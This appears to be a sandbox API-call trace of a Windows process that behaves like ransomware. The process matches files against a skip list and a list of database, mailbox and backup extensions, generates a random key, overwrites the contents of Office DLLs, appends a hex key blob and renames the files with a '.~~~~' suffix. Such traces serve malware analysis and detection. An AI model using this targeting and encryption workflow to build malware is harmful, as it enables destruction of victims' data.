	[0079.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b20c8
	[0079.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2290 | out: hHeap=0x300000) returned 1
	[0079.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e068 | out: hHeap=0x300000) returned 1
	[0079.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.139] lstrlenW (lpString=".scr") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".scr") returned 0x0
	[0079.139] lstrlenW (lpString=".cmd") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".cmd") returned 0x0
	[0079.139] lstrlenW (lpString=".dll") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dll") returned 0x0
	[0079.139] lstrlenW (lpString=".bat") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".bat") returned 0x0
	[0079.139] lstrlenW (lpString=".cpl") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".cpl") returned 0x0
	[0079.139] lstrlenW (lpString=".sys") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".sys") returned 0x0
	[0079.139] lstrlenW (lpString=".msc") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".msc") returned 0x0
	[0079.139] lstrlenW (lpString=".com") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".com") returned 0x0
	[0079.139] lstrlenW (lpString=".lnk") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".lnk") returned 0x0
	[0079.139] lstrlenW (lpString=".msp") returned 4
	[0079.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".msp") returned 0x0
	[0079.139] lstrlenW (lpString=".pif") returned 4
	[0079.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".pif") returned 0x0
	[0079.140] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0079.140] lstrlenW (lpString=".sqb") returned 4
	[0079.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".sqb") returned 0x0
	[0079.140] lstrlenW (lpString=".ost") returned 4
	[0079.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".ost") returned 0x0
	[0079.140] lstrlenW (lpString=".txt") returned 4
	[0079.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".txt") returned 0x0
	[0079.140] lstrlenW (lpString=".mdt") returned 4
	[0079.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".mdt") returned 0x0
	[0079.140] lstrlenW (lpString=".BDB") returned 4
	[0079.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".BDB") returned 0x0
	[0079.141] lstrlenW (lpString=".eql") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".eql") returned 0x0
	[0079.141] lstrlenW (lpString=".DBF") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DBF") returned 0x0
	[0079.141] lstrlenW (lpString=".EQL") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".EQL") returned 0x0
	[0079.141] lstrlenW (lpString=".FDB") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".FDB") returned 0x0
	[0079.141] lstrlenW (lpString=".EDB") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".EDB") returned 0x0
	[0079.141] lstrlenW (lpString=".DACPAC") returned 7
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.141] lstrlenW (lpString=".VHD") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".VHD") returned 0x0
	[0079.141] lstrlenW (lpString=".DBV") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DBV") returned 0x0
	[0079.141] lstrlenW (lpString=".dacpac") returned 7
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dacpac") returned 0x0
	[0079.141] lstrlenW (lpString=".sdf") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".sdf") returned 0x0
	[0079.141] lstrlenW (lpString=".accdb") returned 6
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".accdb") returned 0x0
	[0079.141] lstrlenW (lpString=".DBX") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DBX") returned 0x0
	[0079.141] lstrlenW (lpString=".MDT") returned 4
	[0079.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".MDT") returned 0x0
	[0079.142] lstrlenW (lpString=".SQB") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".SQB") returned 0x0
	[0079.142] lstrlenW (lpString=".vhd") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".vhd") returned 0x0
	[0079.142] lstrlenW (lpString=".bac") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".bac") returned 0x0
	[0079.142] lstrlenW (lpString=".mdf") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".mdf") returned 0x0
	[0079.142] lstrlenW (lpString=".BAK") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".BAK") returned 0x0
	[0079.142] lstrlenW (lpString=".BAC") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".BAC") returned 0x0
	[0079.142] lstrlenW (lpString=".dbs") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dbs") returned 0x0
	[0079.142] lstrlenW (lpString=".vhdx") returned 5
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".vhdx") returned 0x0
	[0079.142] lstrlenW (lpString=".NDF") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".NDF") returned 0x0
	[0079.142] lstrlenW (lpString=".dat") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dat") returned 0x0
	[0079.142] lstrlenW (lpString=".DBS") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DBS") returned 0x0
	[0079.142] lstrlenW (lpString=".CKP") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".CKP") returned 0x0
	[0079.142] lstrlenW (lpString=".edb") returned 4
	[0079.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".edb") returned 0x0
	[0079.143] lstrlenW (lpString=".PST") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".PST") returned 0x0
	[0079.143] lstrlenW (lpString=".dbf") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dbf") returned 0x0
	[0079.143] lstrlenW (lpString=".SQL") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".SQL") returned 0x0
	[0079.143] lstrlenW (lpString=".pst") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".pst") returned 0x0
	[0079.143] lstrlenW (lpString=".dbv") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dbv") returned 0x0
	[0079.143] lstrlenW (lpString=".SDF") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".SDF") returned 0x0
	[0079.143] lstrlenW (lpString=".dtxs") returned 5
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dtxs") returned 0x0
	[0079.143] lstrlenW (lpString=".db3") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".db3") returned 0x0
	[0079.143] lstrlenW (lpString=".OST") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".OST") returned 0x0
	[0079.143] lstrlenW (lpString=".dbx") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dbx") returned 0x0
	[0079.143] lstrlenW (lpString=".DB3") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DB3") returned 0x0
	[0079.143] lstrlenW (lpString=".DAT") returned 4
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DAT") returned 0x0
	[0079.143] lstrlenW (lpString=".VHDX") returned 5
	[0079.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".VHDX") returned 0x0
	[0079.144] lstrlenW (lpString=".ndf") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".ndf") returned 0x0
	[0079.144] lstrlenW (lpString=".DB") returned 3
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DB") returned 0x0
	[0079.144] lstrlenW (lpString=".sql") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".sql") returned 0x0
	[0079.144] lstrlenW (lpString=".MYD") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".MYD") returned 0x0
	[0079.144] lstrlenW (lpString=".DBT") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DBT") returned 0x0
	[0079.144] lstrlenW (lpString=".ACCDB") returned 6
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.144] lstrlenW (lpString=".fdb") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".fdb") returned 0x0
	[0079.144] lstrlenW (lpString=".bak") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".bak") returned 0x0
	[0079.144] lstrlenW (lpString=".myd") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".myd") returned 0x0
	[0079.144] lstrlenW (lpString=".DTXS") returned 5
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".DTXS") returned 0x0
	[0079.144] lstrlenW (lpString=".ckp") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".ckp") returned 0x0
	[0079.144] lstrlenW (lpString=".dbt") returned 4
	[0079.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".dbt") returned 0x0
	[0079.144] lstrlenW (lpString=".db") returned 3
	[0079.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".db") returned 0x0
	[0079.145] lstrlenW (lpString=".TXT") returned 4
	[0079.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".TXT") returned 0x0
	[0079.145] lstrlenW (lpString=".MDF") returned 4
	[0079.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".MDF") returned 0x0
	[0079.145] lstrlenW (lpString=".bdb") returned 4
	[0079.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".bdb") returned 0x0
	[0079.145] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0079.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.145] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0079.146] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.146] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0079.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0079.146] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19913636126) returned 1
	[0079.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x99081db0, dwHighDateTime=0x1d60e1e)) 
	[0079.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0079.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0079.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0079.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e068
	[0079.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e068 | out: hHeap=0x300000) returned 1
	[0079.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0079.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2030
	[0079.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0079.147] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0079.147] GetLastError () returned 0x0
	[0079.147] GetLastError () returned 0x0
	[0079.147] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0079.147] GetLastError () returned 0x0
	[0079.148] GetLastError () returned 0x0
	[0079.149] ReadFile (in: hFile=0x130, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.158] WriteFile (in: hFile=0x130, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.159] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.161] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.161] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.161] CloseHandle (hObject=0x130) returned 1
	[0079.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0079.161] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.~~~~")) returned 1
	[0079.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0079.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0079.162] GetLastError () returned 0x0
	[0079.162] RtlWakeConditionVariable () returned 0x365f70
	[0079.162] GetCurrentThreadId () returned 0x9cc
	[0079.162] GetCurrentThreadId () returned 0x9cc
	[0079.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b20c8
	[0079.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2328 | out: hHeap=0x300000) returned 1
	[0079.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b4b8 | out: hHeap=0x300000) returned 1
	[0079.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2328
	[0079.163] lstrlenW (lpString=".scr") returned 4
	[0079.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".scr") returned 0x0
	[0079.163] lstrlenW (lpString=".cmd") returned 4
	[0079.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".cmd") returned 0x0
	[0079.163] lstrlenW (lpString=".dll") returned 4
	[0079.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dll") returned 0x0
	[0079.163] lstrlenW (lpString=".bat") returned 4
	[0079.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".bat") returned 0x0
	[0079.163] lstrlenW (lpString=".cpl") returned 4
	[0079.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".cpl") returned 0x0
	[0079.163] lstrlenW (lpString=".sys") returned 4
	[0079.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".sys") returned 0x0
	[0079.163] lstrlenW (lpString=".msc") returned 4
	[0079.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".msc") returned 0x0
	[0079.163] lstrlenW (lpString=".com") returned 4
	[0079.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".com") returned 0x0
	[0079.164] lstrlenW (lpString=".lnk") returned 4
	[0079.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".lnk") returned 0x0
	[0079.164] lstrlenW (lpString=".msp") returned 4
	[0079.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".msp") returned 0x0
	[0079.164] lstrlenW (lpString=".pif") returned 4
	[0079.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".pif") returned 0x0
	[0079.164] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0079.166] lstrlenW (lpString=".sqb") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".sqb") returned 0x0
	[0079.166] lstrlenW (lpString=".ost") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".ost") returned 0x0
	[0079.166] lstrlenW (lpString=".txt") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".txt") returned 0x0
	[0079.166] lstrlenW (lpString=".mdt") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".mdt") returned 0x0
	[0079.166] lstrlenW (lpString=".BDB") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".BDB") returned 0x0
	[0079.166] lstrlenW (lpString=".eql") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".eql") returned 0x0
